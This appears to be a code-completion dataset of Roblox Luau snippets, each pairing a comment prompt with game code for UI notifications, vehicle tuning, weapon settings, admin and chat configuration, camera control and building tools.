client.UI.Get(\"Notif\")\n\tlocal topbar = client.UI.Get(\"TopBar\")\n\n\tcontainer.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35)\n\n\tlocal children = container:GetChildren()\n\n\tgui.Position = UDim2.new(0,0,0,-100)\n\tgui.Frame.msg.Text = str\n\tlocal bounds = gui.Frame.msg.TextBounds.X\n\n\ttask.spawn(function()\n\t\tlocal sound = Instance.new(\"Sound\",service.LocalContainer())\n\t\tsound.SoundId = \"rbxassetid://255881176\"\n\t\tsound.Volume = 0.25\n\t\ttask.wait(0.1)\n\t\tsound:Play()\n\t\ttask.wait(0.8)\n\t\tsound:Destroy()\n\tend)\n\n\tlocal function moveGuis(m,ignore)\n\t\tm = m or 0\n\t\tlocal max = #container:GetChildren()\n\t\tfor i,v in container:GetChildren() do\n\t\t\tif v~=ignore then\n\t\t\t\tlocal y = (i+m)*28\n\t\t\t\tv.Position = UDim2.new(0,0,0,y)\n\t\t\t\tif i~=max then v.Size = UDim2.new(1,0,0,28) end\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal lom = -1\n\tmoveGuis(-1)\n\tgui.Parent = container\n\tif #container:GetChildren()>5 then lom = -2 end\n\tUDim2.new(0,0,0,(#container:GetChildren()+lom)*28)\n\tmoveGuis(-1)\n\t--gui:TweenPosition(UDim2.new(0,0,0,(#container:GetChildren()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end)\n\n\tif #container:GetChildren()>5 then\n\t\tlocal gui = container:GetChildren()[1]\n\t\tmoveGuis(-2,gui)\n\t\tgui:Destroy()\n\t\t--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)\n\tend\n\n\ttask.wait(data.Time or 5)\n\n\tif gui and gui.Parent then\n\t\tmoveGuis(-2,gui)\n\t\tgui:Destroy()\n\t\t--gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end)\n\tend\nend\n"} +{"prompt": "--[[\n\tIndicates whether the local player is in range of the `target` object\n\tReturns: Boolean whether player is in range\n]]", "completion": "--\nlocal function inRange()\n\tlocal distance = player:DistanceFromCharacter(target.Position)\n\treturn distance > 0 and distance <= MAX_DISTANCE -- Distance should only be 0 when character doesnt exist\nend\n\nlocal function toggleInteraction()\n\tif ((not (MainFrame.Visible or GameplayUi.Enabled)) and inRange()) then\n\t\tshow()\n\telse\n\t\thide()\n\tend\nend\n\nlocal function interactionCheck()\n\tif not IS_CONSOLE then\n\t\tif ((not (MainFrame.Visible or GameplayUi.Enabled)) and inRange()) then\n\t\t\tInteractionButton.Visible = true\n\t\t\tInteractionBillboardButton.Visible = true\n\t\t\tInteractionArrow.Visible = false\n\t\telseif not inRange() then\n\t\t\tInteractionButton.Visible = false\n\t\t\tInteractionBillboardButton.Visible = false\n\t\t\tInteractionArrow.Visible = true\n\t\tend\n\tend\n\t\n\tif MainFrame.Visible and not inRange() then\n\t\thide()\n\tend\nend\n"} +{"prompt": "-- No clue why the game is putting players in the other room", "completion": "\n\nwhile wait(0.1) do\n\tfor _,plr in ipairs(game.Players:GetPlayers()) do\n\t\tif plr.Character then\n\t\t\tlocal rootPart = plr.Character:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tif rootPart and rootPart.Position.Z < -17 then\n\t\t\t\trootPart.CFrame = workspace.SpawnLocation.CFrame + Vector3.new(0,3,0)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- local process = {\n-- \tenv = {},\n-- }\n-- -- ROBLOX FIXME END", "completion": "\n"} +{"prompt": "-- a: amplitud\n-- p: period", "completion": "\nlocal function outElastic(t, b, c, d, a, p)\n if t == 0 then return b end\n\n t = t / d\n\n if t == 1 then return b + c end\n\n if not p then p = d * 0.3 end\n\n local s\n\n if not a or a < abs(c) then\n a = c\n s = p / 4\n else\n s = p / (2 * pi) * asin(c/a)\n end\n\n return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b\nend\n"} +{"prompt": "-- Visualizes an impact. This will not run if FastCast.VisualizeCasts is false.", "completion": "\nfunction DbgVisualizeHit(atCF: CFrame, wasPenetrated: boolean): SphereHandleAdornment?\n\tif FastCast.VisualizeCasts ~= true then return nil end\n\tlocal adornment = Instance.new(\"SphereHandleAdornment\")\n\tadornment.Adornee = workspace.Terrain\n\tadornment.CFrame = atCF\n\tadornment.Radius = 0.4\n\tadornment.Transparency = 0.25\n\tadornment.Color3 = (wasPenetrated == false) and Color3.new(0.2, 1, 0.5) or Color3.new(1, 0.2, 0.2)\n\tadornment.Parent = GetFastCastVisualizationContainer()\n\treturn adornment\nend\n"} +{"prompt": "-- how many bullets are fired at a time", "completion": "\nlocal BulletCount = 10"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 4\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "--don't tweak this is for the tart thingy", "completion": "\nlocal CFMS = require(game.ServerScriptService.CFMS)\n\nworkspace.TartarusDoor.Controller.Event:Connect(function(v)\n\tif v == 1 then\n\t\tCFMS.TartarusAlarms(1)\n\tend\nend)\n\nworkspace.TartarusDoor.Controller.Event:Connect(function(v)\n\tif v == 2 then\n\t\tCFMS.TartarusAlarms(2)\n\tend\nend)\n"} +{"prompt": "-- Events", "completion": "\nServerSceneFramework.AnchorClientForSceneTransition = Orchestra.Events.SceneControl.AnchorClientForSceneTransition\nServerSceneFramework.LoadCharacterRemoteEvent = Orchestra.Events.SceneControl.LoadCharacter\nServerSceneFramework.FinishedLoadingRemoteEvent = Orchestra.Events.SceneControl.FinishedLoading\nServerSceneFramework.LoadSceneFromListEvent = Orchestra.Events.SceneControl.LoadSceneFromList\nServerSceneFramework.LoadSceneServer = Orchestra.Events.OrchestrationEvents.LoadSceneServer\nServerSceneFramework.Orchestrate = Orchestra.Events.OrchestrationEvents.Orchestrate\nServerSceneFramework.SendSceneConfigForPlayer = Orchestra.Events.OrchestrationEvents.SendSceneConfigForPlayer\nServerSceneFramework.GetCurrentSceneEnvironment = Orchestra.Events.SceneFramework.GetCurrentEnvironment\nServerSceneFramework.GetCurrentServerEnvironmentFromClient =\n\tOrchestra.Events.SceneFramework.GetCurrentServerEnvironmentFromClient\nServerSceneFramework.IsLoadingScene = Orchestra.Events.SceneFramework.IsLoadingScene\nServerSceneFramework.UnloadSceneClientRemoteEvent = Orchestra.Events.SceneControl.UnloadSceneClientRemoteEvent\nServerSceneFramework.LoadSceneRemoteEvent = Orchestra.Events.SceneControl.LoadScene\n"} +{"prompt": "--[[\n\tROBLOX deviation: skipped code\n\toriginal code lines 35 - 67\n]]", "completion": "\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nThis.Parent.Parent.Parent.Parent.Parent:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n\t\t\tSetDisplay(1,\"U0\")\n elseif val == -1 then\n\t\t\tSetDisplay(1,\"D0\")\n\telse\n\t\tSetDisplay(1,\"NIL\")\n end\nend)\n"} +{"prompt": "--(\"added\")", "completion": "\nend\nend\nend\nend\nend\nend)\n\nscript.Parent.ChildRemoved:connect(function(w)"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 45\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 45\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= 1000\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= 1000\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 1 \t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 20000\t -- Steering Aggressiveness\n\t"} +{"prompt": "--made by Bertox\n--lul", "completion": "\n\nscript.Parent.Parent.Parent.Parent.DriveSeat.Changed:connect(function()\n\tif script.Parent.Parent.Parent.Parent.DriveSeat.Occupant ~= nil then\n\t\tscript.Parent.Material = Enum.Material.Neon\n\telseif script.Parent.Parent.Parent.Parent.DriveSeat.Occupant == nil then\n\t\tscript.Parent.Material = Enum.Material.SmoothPlastic\n\tend\nend)\n"} +{"prompt": "--off", "completion": "\n\nscript.Parent.Lid.Transparency = 1\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.8\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.6\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.4\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.2\nwait(1/27)\nscript.Parent.Lid.Transparency = 0\n\nend\n\nend)\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2050\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "----- Variables -----", "completion": "\n\nlocal hotWater = 1\nlocal coldWater = 1\nlocal waterTemp = nil\nlocal p = script.Parent\n"} +{"prompt": "--\t\tbody.FB.BrickColor = bool and BrickColor.new(\"Pearl\") or BrickColor.new(\"Black\")", "completion": "\n\t\tbody.FB.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tbody.FB.Light.Enabled = bool"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1, p2)\n\tlocal v1 = nil;\n\tlocal v2 = nil;\n\tv2, v1 = string.find(p1, p2, 0, true);\n\tif not v2 or not v1 then\n\t\treturn;\n\tend;\n\treturn true, v2, v1 - 1;\nend;\n"} +{"prompt": "-- Roblox User Input Control Modules - each returns a new() constructor function used to create controllers as needed", "completion": "\nlocal Keyboard = require(script:WaitForChild(\"Keyboard\"))\nlocal Gamepad = require(script:WaitForChild(\"Gamepad\"))\nlocal DynamicThumbstick = require(script:WaitForChild(\"DynamicThumbstick\"))\n\nlocal FFlagUserFlagEnableNewVRSystem do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserFlagEnableNewVRSystem\")\n\tend)\n\tFFlagUserFlagEnableNewVRSystem = success and result\nend\n\nlocal TouchThumbstick = require(script:WaitForChild(\"TouchThumbstick\"))\n"} +{"prompt": "-- script.Parent.Parent.Network:Fire(handshake, zone, command, actiontime)", "completion": "\n"} +{"prompt": "-- << SETTINGS >>", "completion": "\nSettings={\n\t-- \n\tPrefix\t\t\t=\";\" ;\t\t\t-- The character used to begin each command\n\t\n\t-- **Please keep enabled to help support the development of HD Admin Commands**\n\tDonorItem \t\t= true ;\n\tDonorItemId \t= 10472779 ;\n\tDonorCommands \t= true ;\n\t\n\t-- \n\tCmdBar\t\t\t= true ;\t\t-- Allows admins to execute commands without chatting\n\tHDIcon\t\t\t= true ;\t\t-- The HD Icon in the corner of screen (helps to support the development HD Admin Commands)\n\tFreeAdmin\t\t= false ;\t\t-- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = \"VIP\" '. Set to False if not. You can not set to 'Owner'.\n\tNoticeSound\t\t= 261082034 ;\t-- Notification sound ID\n\tNoticeSoundVol\t= 0.5 ;\t\t\t-- How loud the notification sound is. Must be between 0 and 1.\n\tErrorSound\t\t= 138090596 ;\t-- Error sound ID\n\tErrorSoundVol\t= 0.5 ;\t\t\t-- How loud the error sound is. Must be between 0 and 1.\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;\n\n"} +{"prompt": "---[[ Chat Behaviour Settings ]]", "completion": "\nmodule.WindowDraggable = false\nmodule.WindowResizable = false\nmodule.ShowChannelsBar = _SETTINGS.ShowChannelBar\nmodule.GamepadNavigationEnabled = false\nmodule.ShowUserOwnFilteredMessage = true\t--Show a user the filtered version of their message rather than the original."} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- 0 then\n\t\t\tcanThrow\t= false\n\t\t\t\n\t\t\tlocal direction\t\t= (MOUSE.WorldPosition - handle.Position).Unit\n\t\t\tlocal projectileID\t= EVENTS.GetProjectileID:Invoke()\n\t\t\t\n\t\t\tif config.AimCorrection then\n\t\t\t\tdirection\t= (direction + Vector3.new(0, config.AimCorrection / 100, 0)).Unit\n\t\t\tend\n\t\t\t\n\t\t\tanimations.Throw:Play(0, 1, 1)\n\t\t\tEFFECTS:Effect(\"Throw\", item)\n\t\t\t\n\t\t\twait(0.01)\n\t\t\t\n\t\t\tEVENTS.Projectile:Fire(PLAYER, item, projectileID, handle.Position, direction)\n\t\t\tREMOTES.Throwable:FireServer(item, \"Throw\", projectileID, handle.Position, direction)\n\t\t\t\n\t\t\twait(1 / config.ThrowRate)\n\t\t\tcanThrow\t= true\n\t\tend\n\tend\n\t\n\tfunction itemModule.Deactivate(self)\n\t\t\n\tend\n\t\n\treturn itemModule\nend\n\nreturn module\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\t\tlocal repeatAnim = stopAllAnimations()\n\t\tplayAnimation(repeatAnim, 0.0, AnimController)\n\tend\nend\n"} +{"prompt": "--[[\n\tCalled when ClientStateUpdate is called from the server, updating the currentState to reflect the\n\tstate the server has for the client.\n]]", "completion": "\nfunction CameraController.onClientStateUpdated(to)\n\tif currentState.onStateLeave then\n\t\tcurrentState.onStateLeave(to)\n\tend\n\n\tif to == \"postgame\" then\n\t\tcurrentState = CameraStates.MENU\n\telseif to == \"spectating\" then\n\t\tcurrentState = CameraStates.SPECTATING\n\telse\n\t\tcurrentState = {}\n\n\t\tcamera.CameraType = Enum.CameraType.Custom\n\n\t\twait()\n\n\t\tif LocalPlayer.Character then\n\t\t\tcamera.CameraSubject = LocalPlayer.Character:FindFirstChild(\"Humanoid\")\n\t\tend\n\tend\n\n\tif currentState.onStateEnter then\n\t\tcurrentState.onStateEnter()\n\tend\nend\n\nreturn CameraController\n"} +{"prompt": "-- Local private variables and constants", "completion": "\nlocal UNIT_Z = Vector3.new(0,0,1)\nlocal X1_Y0_Z1 = Vector3.new(1,0,1)\t--Note: not a unit vector, used for projecting onto XZ plane\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal ZERO_VECTOR2 = Vector2.new(0,0)\nlocal TAU = 2 * math.pi\n"} +{"prompt": "-- Disconnect all handlers. Since we use a linked list it suffices to clear the\n-- reference to the head handler.", "completion": "\nfunction Signal:DisconnectAll()\n\tself._handlerListHead = false\nend\n\nfunction Signal:Destroy()\n\tself:DisconnectAll()\n\ttable.clear(self)\nend\n"} +{"prompt": "--------------------------------------------------------------\n-- You DO NOT need to add yourself to any of these lists!!! --\n--------------------------------------------------------------", "completion": "\n\nlocal Owners={}\t\t\t\t\t-- Can set SuperAdmins, & use all the commands\nlocal SuperAdmins={}\t\t\t-- Can set permanent admins, & shutdown the game\nlocal Admins={}\t\t\t\t\t-- Can ban, crash, & set Moderators/VIP\nlocal Mods={}\t\t\t\t\t-- Can kick, mute, & use most commands\nlocal VIP={}\t\t\t\t\t-- Can use nonabusive commands only on self\n\nlocal Settings={\n\t"} +{"prompt": "--//Controller//--", "completion": "\nwhile true do\n\ttask.wait(Configuration.DelayTime.Value)\n\t\n\tlocal RandomSong = Songs[math.random(1, #Songs)]\n\t\n\tCurrentSong.SoundId = RandomSong.SoundId\n\t\t\n\tCurrentSong:Play()\n\t\n\ttask.wait(RandomSong.TimeLength)\nend\n"} +{"prompt": "-- ROBLOX deviation START: skipped as Lua doesn't support ArrayBuffer\n-- type unknown = any", "completion": "\n"} +{"prompt": "-- url : (string, read-only) copy of target url that httpRequestFunc will hit\n-- httpRequestFunc : (function(void))", "completion": "\nlocal function commonHttpHandler(url, httpRequestFunc)\n\tassert(type(url) == \"string\", \"expected 'url' to be a string\")\n\tassert(type(httpRequestFunc) == \"function\", \"expected 'httpRequestFunc' to be a function\")\n\n\tlocal p = Promise.new(function(resolve, reject)\n\n\t\tspawn(function()\n\t\t\tlocal startTime = tick()\n\t\t\tlocal success, resultDict = pcall(httpRequestFunc)\n\t\t\tlocal endTime = tick()\n\t\t\tlocal deltaMs = (endTime - startTime) * 1000\n\n\t\t\tif success then\n\t\t\t\tlocal body = resultDict[\"Body\"]\n\t\t\t\tlocal requestSuccess = resultDict[\"Success\"]\n\t\t\t\tlocal statusMsg = resultDict[\"StatusMessage\"]\n\t\t\t\tlocal statusCode = resultDict[\"StatusCode\"]\n\n\t\t\t\tif requestSuccess == true then\n\t\t\t\t\tresolve(HttpResponse.new(body, statusCode, deltaMs))\n\t\t\t\telse\n\t\t\t\t\treject(HttpError.new(url, statusMsg, body, statusCode, deltaMs))\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t-- the request timed out, or something went wrong\n\t\t\t\treject(HttpResponse.new(url, \"Unknown Error\", resultDict, 500, deltaMs))\n\t\t\tend\n\n\t\t\tif DEBUG_HTTP then\n\t\t\t\tlocal msg = table.concat(\n\t\t\t\t{\n\t\t\t\t\t\"--------------------------\",\n\t\t\t\t\t\"Fetching Url :\" .. url, \"\",\n\t\t\t\t\t\"Success :\" .. tostring(success), \"\",\n\t\t\t\t\t\"Result :\", recursiveToString(resultDict),\n\t\t\t\t\t\"--------------------------\"\n\t\t\t\t}, \"\\n\")\n\t\t\t\tprint(msg)\n\t\t\tend\n\t\tend)\n\tend)\n\n\treturn p\nend\n\n\n\nlocal Networking = {}\nNetworking.__index = Networking\n"} +{"prompt": "--[[\n\tStage implementation\n]]", "completion": "\n\nlocal Gameplay = {}\nGameplay.__index = Gameplay\n\nfunction Gameplay.new(gameStageHandler)\n\tlocal self = setmetatable({\n\t\tgameStageHandler = gameStageHandler,\n\t\tplayerCharacters = {},\n\t}, Gameplay)\n\n\treturn self\nend\n\nfunction Gameplay:initialize()\n\t-- Start systems\n\tServerTime.run()\n\n\t-- Pass shrinking barrier the dividing angle if there are teams\n\tlocal randomGenerator = Random.new()\n\tlocal directionAngle = randomGenerator:NextNumber(0, math.pi * 2)\n\tShrinkingBarrier.run(directionAngle)\n\n\t-- Spawn delivery vehicle (or multiple if there are teams)\n\tlocal stormPos, stormRadius = ShrinkingBarrier.getTargetPositionAndRadius()\n\tif Conf.num_teams == 0 then\n\t\tlocal deliveryVehicle = DeliveryVehicle.new()\n\t\tdeliveryVehicle:spawn(stormPos, stormRadius, directionAngle, 0)\n\t\tdeliveryVehicle:beginDelivery()\n\telse\n\t\tfor i = 1, Conf.num_teams do\n\t\t\tlocal deliveryVehicle = DeliveryVehicle.new()\n\t\t\tdeliveryVehicle:spawn(stormPos, stormRadius, directionAngle, i)\n\t\t\tdeliveryVehicle:beginDelivery()\n\t\tend\n\tend\n\t\n\t-- Setup character\n\tfor _, player in pairs(Players:GetPlayers()) do\n\t\tif player.Character then\n\t\t\tself:setupCharacter(player, player.Character)\n\t\tend\n\tend\nend\n\nfunction Gameplay:destroy()\n\tself.playerCharacters = nil\nend\n\nfunction Gameplay:characterAdded(player, character)\n\tself:setupCharacter(player, character)\nend\n\nfunction Gameplay:playerAdded(player)\n\tlocal warningMessage = \"Player \" .. player.Name .. \" joined after game start\"\n\twarn(warningMessage)\n\tWarningEvent:FireAllClients(warningMessage)\nend\n\nfunction Gameplay:setupCharacter(player, character)\n\tif Conf.player_nil_parent_enabled then\n\t\t-- Unparent the player character, but keep a reference so they don't get thrown away\n\t\tself.playerCharacters[player] = player.Character\n\t\tplayer.Character.Parent = nil\n\telseif not PlayerMatchInfo.GetField(player, \"didJump\") then\n\t\t-- Give the player the Pistol as the default starting weapon\n\t\tReplicatedStorage.Assets.Weapons.Pistol:Clone().Parent = player.Backpack\n\n\t\t-- Grant the player a force field so they cant be killed in the waiting area\n\t\tlocal forceField = Instance.new(\"ForceField\")\n\t\tforceField.Name = \"WaitingToJumpForceField\"\n\t\tforceField.Visible = false\n\t\tforceField.Parent = character\n\tend\nend\n\nreturn Gameplay\n"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 43; -- Torso Damage\n\tLimbDamage = 40; -- Arms and Legs\n\tArmorDamage = 21; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 2000; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "--fs.Reflectance = 0.15\n--bs.Reflectance = 0.15", "completion": "\nch1.Transparency = 1+(val1.Value-135)*(0.85/65)\nch2.Transparency = 1+(val1.Value-135)*(0.85/65)\nch3.Transparency = 1+(val1.Value-135)*(0.85/65)\nend\nif val1.Value == 200 then\nch1m.MaxVelocity = 0\nch2m.MaxVelocity = 0\nch3m.MaxVelocity = 0\nend\n\nif script.Parent.ReadyProc.Value >= 200 then\nscript.Parent.BladeReady.Value = true\nelse\nscript.Parent.BladeReady.Value = false\nend\n\n\n\nend\n"} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal ChatConstants = require(replicatedModules:WaitForChild(\"ChatConstants\"))\nlocal Util = require(modulesFolder:WaitForChild(\"Util\"))\n\nlocal ChatLocalization = nil"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= -5\n\tTune.RCamber\t\t= -5\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent.Parent.Parent._Index\n\nlocal Package = require(PackageIndex[\"TestEZJestAdapter\"][\"TestEZJestAdapter\"])\n\nreturn Package\n"} +{"prompt": "--[[ LawlR fix ]]", "completion": "--\n\nlocal ds = game:GetService(\"Debris\")\nlocal ps = game:GetService(\"Players\")\n\nwait(1)\n\nlocal tool = script.Parent\nlocal handle = tool:WaitForChild(\"Handle\")\nlocal mousePosRemote = tool.RemoteFunction\nlocal hitScript = tool.HitScript\nlocal throwSound = handle.Throw\nlocal hitSound = handle.Hit\nlocal mesh = handle.Mesh\n\nlocal cooldown = .4\nlocal vel = 80\n\nlocal db\nlocal plr, chr, hum\n\nlocal star = Instance.new(\"Part\")\nstar.Name = \"Ninjastar\"\nstar.Shape = Enum.PartType.Block\nstar.Material = Enum.Material.Plastic\nstar.TopSurface = Enum.SurfaceType.Smooth\nstar.BottomSurface = Enum.SurfaceType.Smooth\nstar.FormFactor = Enum.FormFactor.Custom\nstar.Size = Vector3.new(1, 0.4, 1)\nstar.CanCollide = true\nstar.Locked = true\nmesh:Clone().Parent = star\nhitSound.Parent = star\nhitScript.Parent = star\nhitScript.Disabled = false\n\n\nlocal function shoot(pos)\n\thandle.Transparency = 1\n\tthrowSound:Play()\n\n\tlocal dir = CFrame.new(handle.Position, pos)\n\tlocal from = (handle.CFrame + dir.LookVector * 10)\n\n\tlocal star = star:clone()\n\tstar.CFrame = CFrame.new(from.Position)\n\tstar.Velocity = (dir.LookVector * vel)\n\n\tlocal force = Instance.new(\"BodyForce\")\n\tforce.Force = Vector3.new(0, 40, 0)\n\n\tlocal ownerTag = Instance.new(\"ObjectValue\")\n\townerTag.Name = \"Owner\"\n\townerTag.Value = plr\n\townerTag.Parent = star\n\t\n\tforce.Parent = star\n\tstar.Parent = workspace\nend\n\n\ntool.Activated:Connect(function()\n\tif not db and plr then\n\t\tdb = true\n\t\ttool.Enabled = false\n\t\tlocal pos = mousePosRemote:InvokeClient(plr)\n\t\tif pos and typeof(pos) == \"CFrame\" then\n\t\t\tshoot(pos.Position)\n\t\tend\n\t\twait(chr:FindFirstChild(\"NinjaMaskOfLight\") and cooldown/2 or cooldown)\n\t\thandle.Transparency = 0\n\t\tdb = false\n\t\ttool.Enabled = true\n\tend\nend)\n\ntool.Equipped:Connect(function()\n\tlocal tempChr = tool.Parent\n\tlocal tempHum = tempChr:FindFirstChildWhichIsA(\"Humanoid\")\n\tif tempHum then\n\t\tchr = tempChr\n\t\thum = tempHum\n\t\tplr = ps:GetPlayerFromCharacter(tempChr)\n\tend\nend)\n"} +{"prompt": "-- Assign grouping hotkeys", "completion": "\nAssignHotkey({ 'LeftShift', 'G' }, Support.Call(GroupSelection, 'Model'))\nAssignHotkey({ 'RightShift', 'G' }, Support.Call(GroupSelection, 'Model'))\nAssignHotkey({ 'LeftShift', 'F' }, Support.Call(GroupSelection, 'Folder'))\nAssignHotkey({ 'RightShift', 'F' }, Support.Call(GroupSelection, 'Folder'))\nAssignHotkey({ 'LeftShift', 'U' }, UngroupSelection)\nAssignHotkey({ 'RightShift', 'U' }, UngroupSelection)\n\nfunction GetPartsFromSelection(Selection)\n\tlocal Parts = {}\n\n\t-- Get parts from selection\n\tfor _, Item in pairs(Selection) do\n\t\tif Item:IsA 'BasePart' then\n\t\t\tParts[#Parts + 1] = Item\n\n\t\t-- Get parts within other items\n\t\telse\n\t\t\tfor _, Descendant in pairs(Item:GetDescendants()) do\n\t\t\t\tif Descendant:IsA 'BasePart' then\n\t\t\t\t\tParts[#Parts + 1] = Descendant\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\t-- Return parts\n\treturn Parts\nend\n\nfunction IsSelectable(Items)\n\t-- Returns whether `Items` can be selected\n\n\t-- Check each item\n\tfor _, Item in pairs(Items) do\n\n\t\t-- Ensure item exists and is not locked\n\t\tif (not Item) or (not Item.Parent) or (Item:IsA 'BasePart' and Item.Locked) then\n\t\t\treturn false\n\t\tend\n\n\t\t-- Ensure item can be modified\n\t\tif not Security.IsItemAllowed(Item, Player) then\n\t\t\treturn false\n\t\tend\n\tend\n\n\t-- Check if parts intruding into private areas\n\tlocal Parts = GetPartsFromSelection(Items)\n\tif Security.ArePartsViolatingAreas(Parts, Player, true) then\n\t\treturn false\n\tend\n\n\t-- If no checks fail, items are selectable\n\treturn true\n\nend\n\nfunction ExportSelection()\n\t-- Exports the selected parts\n\n\t-- Make sure that there are items in the selection\n\tif #Selection.Items == 0 then\n\t\treturn;\n\tend;\n\n\t-- Start an export dialog\n\tlocal Dialog = Cheer(Tool.Interfaces.ExportDialog, UI).Start();\n\n\t-- Send the exporting request to the server\n\tTry(SyncAPI.Invoke, SyncAPI, 'Export', Selection.Items)\n\n\t-- Display creation ID on success\n\t:Then(function (CreationId)\n\t\tDialog.SetResult(CreationId);\n\t\tprint('[Building Tools by F3X] Uploaded Export:', CreationId);\n\tend)\n\n\t-- Display error messages on failure\n\t:Catch('Http requests are not enabled', function ()\n\t\tDialog.SetError('Please enable HTTP requests');\n\tend)\n\t:Catch('Export failed due to server-side error', function ()\n\t\tDialog.SetError('An error occurred, try again');\n\tend)\n\t:Catch('Post data too large', function ()\n\t\tDialog.SetError('Try splitting up your build');\n\tend)\n\t:Catch(function (Error, Stack, Attempt)\n\t\tDialog.SetError('An unknown error occurred, try again')\n\t\twarn('\u274c [Building Tools by F3X] Failed to export selection', '\\n\\nError:\\n', Error, '\\n\\nStack:\\n', Stack);\n\tend);\n\nend;\n"} +{"prompt": "--// Although this feature is pretty much ready, it needs some UI design still.", "completion": "\nmodule.RightClickToLeaveChannelEnabled = false\nmodule.MessageHistoryLengthPerChannel = 100"} +{"prompt": "-- List of creatable light types", "completion": "\nlocal LightTypes = { 'SpotLight', 'PointLight', 'SurfaceLight' };\n\nfunction OpenLightOptions(LightType)\n\t-- Opens the settings UI for 